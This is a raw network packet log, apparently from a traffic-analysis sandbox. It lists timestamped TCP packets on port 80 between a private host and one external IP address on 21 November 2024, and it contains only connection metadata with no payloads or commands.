Nov 21, 2024 07:10:22.216480970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.216531992 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.217217922 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.217267990 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.217268944 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.217319012 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.218105078 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.218157053 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.218158007 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.218208075 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.218974113 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.219023943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.219043970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.219093084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.219837904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.219890118 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.219947100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.220005989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.220714092 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.220767021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.220829010 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.220877886 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.221595049 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.221692085 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.221920967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.221972942 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.222486019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.222537041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.222598076 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.222650051 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.223350048 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.223402977 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.223474979 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.223526001 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.224332094 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.224366903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.224384069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.224415064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.225119114 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.225168943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.225214958 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.225265026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.225980043 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.226030111 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.226106882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.226159096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.226859093 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.226908922 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.226911068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.226963997 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.227772951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.227823973 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.227885962 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.227935076 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.228682041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.228733063 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.228809118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.228859901 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.229490995 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.229543924 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.229645967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.229696989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.230382919 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.230432987 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.230495930 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.230545044 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.231268883 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.231327057 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.231348991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.231400013 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.232141972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.232192039 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.232271910 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.232322931 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.233037949 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.233088970 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.233135939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.233189106 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.233897924 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.233943939 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.234009027 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.234057903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.234812975 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.234863043 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.234867096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.234915018 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.235690117 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.235740900 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.235763073 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.235811949 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.236525059 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.236577988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.236641884 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.236690998 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.237451077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.237499952 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.237745047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.237796068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.238687038 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.238751888 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.238864899 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.238920927 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.239536047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.239569902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.239587069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.239618063 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.240129948 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.240181923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.240240097 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.240287066 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.240896940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.240948915 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.241108894 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.241159916 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.241894960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.241942883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.241946936 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.241991997 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.242667913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.242718935 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.242851019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.242902994 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.243573904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.243623972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.243691921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.243743896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.244429111 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.244477987 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.244525909 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.244575024 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.245281935 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.245343924 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.245389938 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.245440006 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.246144056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.246195078 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.246272087 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.246323109 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.247047901 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.247101068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.247164011 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.247216940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.248090982 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.248123884 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.248146057 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.248171091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.248830080 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.248891115 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.248941898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.248994112 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.249689102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.249742031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.249815941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.249869108 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.250566959 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.250617027 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.250619888 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.250665903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.251458883 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.251509905 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.251543045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.251594067 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.252346992 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.252445936 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.252453089 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.252495050 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.253200054 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.253249884 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.253324986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.253376007 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.254095078 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.254144907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.254278898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.254329920 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.254952908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.255004883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.255064011 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.255115032 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.255820990 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.255873919 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.256011009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.256062031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.256717920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.256768942 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.256875992 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.256927013 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.257605076 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.257656097 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.257771015 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.257831097 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.258470058 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.258517981 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.258730888 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.258780003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.259435892 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.259502888 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.259505987 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.259556055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.260305882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.260358095 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.260473967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.260524988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.261023998 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.261075020 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.417259932 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.417331934 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.417335033 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.417372942 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.417382002 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.417411089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.417463064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.417933941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.417989016 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.418035030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.418097973 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.418745995 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.418808937 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.418895006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.418942928 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.419594049 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.419651031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.419715881 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.419765949 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.420480967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.420531988 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.420595884 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.420690060 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.421386003 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.421433926 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.421494961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.421607971 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.422261000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.422310114 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.422338009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.422383070 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.423141003 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.423192024 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.423827887 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.423985958 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.424052000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.424103022 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.424145937 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.424200058 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.424894094 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.424942970 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.425020933 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.425076008 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.425765991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.425872087 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.425951004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.426043034 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.426640987 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.426691055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.426754951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.426804066 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.427654982 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.427706957 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.427747965 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.427803040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.428405046 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.428457975 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.428514004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.428565025 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.429275036 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.429333925 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.429399014 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.429450035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.430146933 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.430212975 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.430278063 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.430329084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.431144953 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.431194067 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.431258917 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.431309938 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.431898117 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.431977034 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.431996107 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.432044029 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.432785034 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.432862997 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.432926893 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.432979107 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.433661938 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.433763027 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.433773041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.433806896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.434511900 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.434566021 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.434581041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.434611082 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.435415030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.435556889 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.435564041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.435595036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.436299086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.436410904 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.436438084 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.436518908 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.437165022 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.437222004 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.437287092 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.437361956 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.438076973 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.438112974 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.438129902 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.438158989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.438925982 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.438978910 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.439049959 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.439100981 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.439785004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.439836025 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.439899921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.439949036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.440692902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.440742970 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.440865040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.440922022 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.441553116 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.441601038 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.441663980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.441714048 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.442424059 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.442485094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.442543983 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.442596912 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.443310976 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.443380117 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.443445921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.443496943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.444205046 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.444262981 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.444324970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.444389105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.445065975 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.445141077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.445255995 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:22.445307016 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:22.445904970 CET	80	49787	185.215.113.16	192.168.2.4
